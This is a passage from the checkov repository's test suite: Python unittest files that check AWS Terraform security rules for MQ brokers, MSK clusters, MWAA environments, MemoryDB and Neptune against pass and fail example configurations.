"aws_instance.fail_empty_root_list", "aws_launch_configuration.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 5) self.assertEqual(summary["failed"], 7) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LaunchTemplateMetadataHop.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LaunchTemplateMetadataHop import check from checkov.terraform.runner import Runner class TestLaunchTemplateMetadataHop(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_LaunchTemplateMetadataHop" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_launch_configuration.pass", "aws_launch_configuration.pass2", "aws_launch_template.pass", "aws_launch_template.pass2", } failing_resources = { "aws_launch_configuration.fail", "aws_launch_template.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LustreFSEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LustreFSEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestLustreFSEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LustreFSEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_fsx_lustre_file_system.pass", } failing_resources = { "aws_fsx_lustre_file_system.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerAuditLogging.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MQBrokerAuditLogging import check from checkov.terraform.runner import Runner class TestMQBrokerAuditLogging(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerAuditLogging" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mq_broker.enabled", } failing_resources = { "aws_mq_broker.default", "aws_mq_broker.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerEncryptedWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MQBrokerEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestMQBrokerEncryptedWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerEncryptedWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mq_broker.pass", } failing_resources = { "aws_mq_broker.fail", "aws_mq_broker.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerLogging.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MQBrokerLogging import check from checkov.terraform.runner import Runner class TestMQBrokerLogging(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerLogging" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mq_broker.enabled", } failing_resources = { "aws_mq_broker.default", "aws_mq_broker.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerMinorAutoUpgrade.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MQBrokerMinorAutoUpgrade import check from checkov.terraform.runner import Runner class TestMQBrokerLogging(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerMinorAutoUpgrade" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mq_broker.pass", } failing_resources = { "aws_mq_broker.fail", "aws_mq_broker.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerNotPubliclyExposed.py ================================================ import hcl2 import unittest from checkov.terraform.checks.resource.aws.MQBrokerNotPubliclyExposed import check from checkov.common.models.enums import CheckResult class TestMQBrokerNotPubliclyExposed(unittest.TestCase): def test_failure_mqbroker_logging(self): hcl_res = hcl2.loads(""" resource "aws_mq_broker" "example" { broker_name = "example" engine_type = "ActiveMQ" engine_version = "5.15.0" host_instance_type = "mq.t2.micro" publicly_accessible = true user { username = "ExampleUser" password = "MindTheGap" # checkov:skip=CKV_SECRET_6 test secret } } """) resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_mqbroker_logging(self): hcl_res = hcl2.loads(""" resource "aws_mq_broker" "example" { broker_name = "example" engine_type = "ActiveMQ" engine_version = "5.15.0" host_instance_type = "mq.t2.micro" publicly_accessible = false user { username = "ExampleUser" password = "MindTheGap" } } """) resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_missing_mqbroker_logging(self): hcl_res = hcl2.loads(""" resource "aws_mq_broker" "example" { broker_name = "example" engine_type = "ActiveMQ" engine_version = "5.15.0" host_instance_type = "mq.t2.micro" user { username = "ExampleUser" password = "MindTheGap" } } """) resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MQBrokerVersion.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MQBrokerVersion import check from checkov.terraform.runner import Runner class TestMQBrokerVersion(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerVersion" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mq_broker.pass", "aws_mq_broker.pass2", "aws_mq_configuration.pass", } failing_resources = { "aws_mq_broker.fail", "aws_mq_broker.fail2", "aws_mq_configuration.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MSKClusterEncryption.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.MSKClusterEncryption import check class TestMSKClusterEncryption(unittest.TestCase): def test_failure(self): resource_conf = { "name": "test-project", } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_non_tls(self): resource_conf = { "name": "test-project", "encryption_info": [ { "encryption_at_rest_kms_key_arn": "aws_kms_key.kms.arn", "encryption_in_transit": [ { "client_broker": ["PLAINTEXT"], "in_cluster": ["true"], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_in_cluster(self): resource_conf = { "name": "test-project", "encryption_info": [ { "encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"], "encryption_in_transit": [ { "client_broker": ["TLS"], "in_cluster": [False], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = { "name": "test-project", "encryption_info": [ { "encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"], "encryption_in_transit": [ { "client_broker": ["TLS"], "in_cluster": ["true"], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_no_encrypt_block(self): resource_conf = { "name": "test-project", "encryption_info": [ { "encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) # Regression test for https://github.com/bridgecrewio/checkov/issues/747 def test_success_no_encryption_at_rest_kms_key_arn_specified(self): resource_conf = { "name": "test-project", "encryption_info": [{}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) # Regression test for https://github.com/bridgecrewio/checkov/issues/747 def test_success_encryption_in_transit_and_no_encryption_at_rest_kms_key_arn_specified(self): resource_conf = { "name": "test-project", "encryption_info": [ { "encryption_in_transit": [ { "client_broker": ["TLS"], "in_cluster": [True], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MSKClusterLogging.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.MSKClusterLogging import check class TestMSKClusterLogging(unittest.TestCase): def test_failure(self): resource_conf = { "name": "test-project", "logging_info": [ { "broker_logs": [ { "cloudwatch_logs": [ { "enabled": [False], } ], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_none(self): resource_conf = { "name": "test-project", } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = { "name": "test-project", "logging_info": [ { "broker_logs": [ { "cloudwatch_logs": [ { "enabled": [True], } ], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_all(self): resource_conf = { "name": "test-project", "logging_info": [ { "broker_logs": [ { "cloudwatch_logs": [ { "enabled": [True], } ], }, { "firehose": [ { "enabled": [True], } ], }, { "s3": [ { "enabled": [True], } ], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_mixed(self): resource_conf = { "name": "test-project", "logging_info": [ { "broker_logs": [ { "cloudwatch_logs": [ { "enabled": [True], } ], }, { "firehose": [ { "enabled": [True], } ], }, { "s3": [ { "enabled": [False], } ], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_empty(self): resource_conf = { "name": "test-project", "logging_info": [ { "broker_logs": [ { "cloudwatch_logs": [ { } ], } ], } ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MSKClusterNodesArePrivate.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MSKClusterNodesArePrivate import check from checkov.terraform.runner import Runner class TestMSKClusterNodesArePrivate(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MSKClusterNodesArePrivate" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_msk_cluster.pass", "aws_msk_cluster.pass2", } failing_resources = { "aws_msk_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MWAASchedulerLogsEnabled.py ================================================ import unittest from pathlib import Path from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MWAASchedulerLogsEnabled import check class TestMWAASchedulerLogsEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MWAASchedulerLogsEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mwaa_environment.pass", } failing_resources = { "aws_mwaa_environment.fail", "aws_mwaa_environment.fail_false", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MWAAWebserverLogsEnabled.py ================================================ import unittest from pathlib import Path from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MWAAWebserverLogsEnabled import check class TestMWAAWebserverLogsEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MWAAWebserverLogsEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_mwaa_environment.pass", } failing_resources = { "aws_mwaa_environment.fail", "aws_mwaa_environment.fail_false" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MWAAWorkerLogsEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MWAAWorkerLogsEnabled import check from checkov.terraform.runner import Runner class TestMWAAWorkerLogsEnabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_MWAAWorkerLogsEnabled" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_mwaa_environment.pass" } failing_resources = { "aws_mwaa_environment.fail_false", "aws_mwaa_environment.fail_missing" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MemoryDBClusterIntransitEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MemoryDBClusterIntransitEncryption import check from checkov.terraform.runner import Runner class TestMemoryDBClusterIntransitEncryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MemoryDBClusterIntransitEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_memorydb_cluster.pass", "aws_memorydb_cluster.pass2", } failing_resources = { "aws_memorydb_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MemoryDBEncryptionWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MemoryDBEncryptionWithCMK import check from checkov.terraform.runner import Runner class TestMemoryDBEncryptionWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MemoryDBEncryptionWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_memorydb_cluster.pass", } failing_resources = { "aws_memorydb_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_MemoryDBSnapshotEncryptionWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.MemoryDBSnapshotEncryptionWithCMK import check from checkov.terraform.runner import Runner class TestMemoryDBSnapshotEncryptionWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MemoryDBSnapshotEncryptionWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_memorydb_snapshot.pass", } failing_resources = { "aws_memorydb_snapshot.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneClusterBackupRetention.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.NeptuneClusterBackupRetention import check class TestNeptuneClusterBackupRetention(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_NeptuneClusterBackupRetention") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_neptune_cluster.ckv_unittest_pass' } failing_resources = { 'aws_neptune_cluster.ckv_unittest_fail_not_adequate', 'aws_neptune_cluster.ckv_unittest_fail_default' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneClusterEncryptedWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NeptuneClusterEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestNeptuneClusterEncryptedWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NeptuneClusterEncryptedWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_neptune_cluster.pass", } failing_resources = { "aws_neptune_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneClusterLogging.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.NeptuneClusterLogging import check from checkov.common.models.enums import CheckResult class TestNeptuneClusterLogging(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_neptune_cluster" "test" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" skip_final_snapshot = true iam_database_authentication_enabled = true apply_immediately = true } """) resource_conf = hcl_res['resource'][0]['aws_neptune_cluster']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_neptune_cluster" "test" { cluster_identifier = "neptune-cluster-demo" engine = "neptune" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" skip_final_snapshot = true iam_database_authentication_enabled = true apply_immediately = true enable_cloudwatch_logs_exports = ["audit"] } """) resource_conf = hcl_res['resource'][0]['aws_neptune_cluster']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneDBClustersCopyTagsToSnapshots.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.NeptuneDBClustersCopyTagsToSnapshots import check class TestNeptuneDBClustersCopyTagsToSnapshots(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_NeptuneDBClustersCopyTagsToSnapshots") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_neptune_cluster.ckv_unittest_pass' } failing_resources = { 'aws_neptune_cluster.ckv_unittest_fail', 'aws_neptune_cluster.ckv_unittest2_fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.NeptuneDBClustersIAMDatabaseAuthenticationEnabled import check class TestNeptuneDBClustersIAMDatabaseAuthenticationEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_NeptuneDBClustersIAMDatabaseAuthenticationEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_neptune_cluster.ckv_unittest_pass' } failing_resources = { 'aws_neptune_cluster.ckv_unittest_fail', 'aws_neptune_cluster.ckv_unittest2_fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneInstancePublic.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.NeptuneClusterInstancePublic import check from checkov.common.models.enums import CheckResult class TestNeptuneClusterInstancePublic(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads(""" resource "aws_neptune_cluster_instance" "example" { count = 2 cluster_identifier = aws_neptune_cluster.default.id engine = "neptune" instance_class = "db.r4.large" apply_immediately = true } """) resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_explicit(self): hcl_res = hcl2.loads(""" resource "aws_neptune_cluster_instance" "example" { count = 2 cluster_identifier = aws_neptune_cluster.default.id engine = "neptune" instance_class = "db.r4.large" apply_immediately = true publicly_accessible = false } """) resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_neptune_cluster_instance" "example" { count = 2 cluster_identifier = aws_neptune_cluster.default.id engine = "neptune" instance_class = "db.r4.large" apply_immediately = true publicly_accessible = true } """) resource_conf = hcl_res['resource'][0]['aws_neptune_cluster_instance']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneSnapshotEncrypted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NeptuneClusterSnapshotEncrypted import check from checkov.terraform.runner import Runner class TestNeptuneClusterSnapshotEncrypted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NeptuneClusterSnapshotEncrypted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_neptune_cluster_snapshot.pass", } failing_resources = { "aws_neptune_cluster_snapshot.fail", "aws_neptune_cluster_snapshot.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NeptuneSnapshotEncryptedWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NeptuneClusterSnapshotEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestNeptuneClusterSnapshotEncryptedWithCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NeptuneClusterSnapshotEncryptedWithCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_neptune_cluster_snapshot.pass", } failing_resources = { "aws_neptune_cluster_snapshot.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: 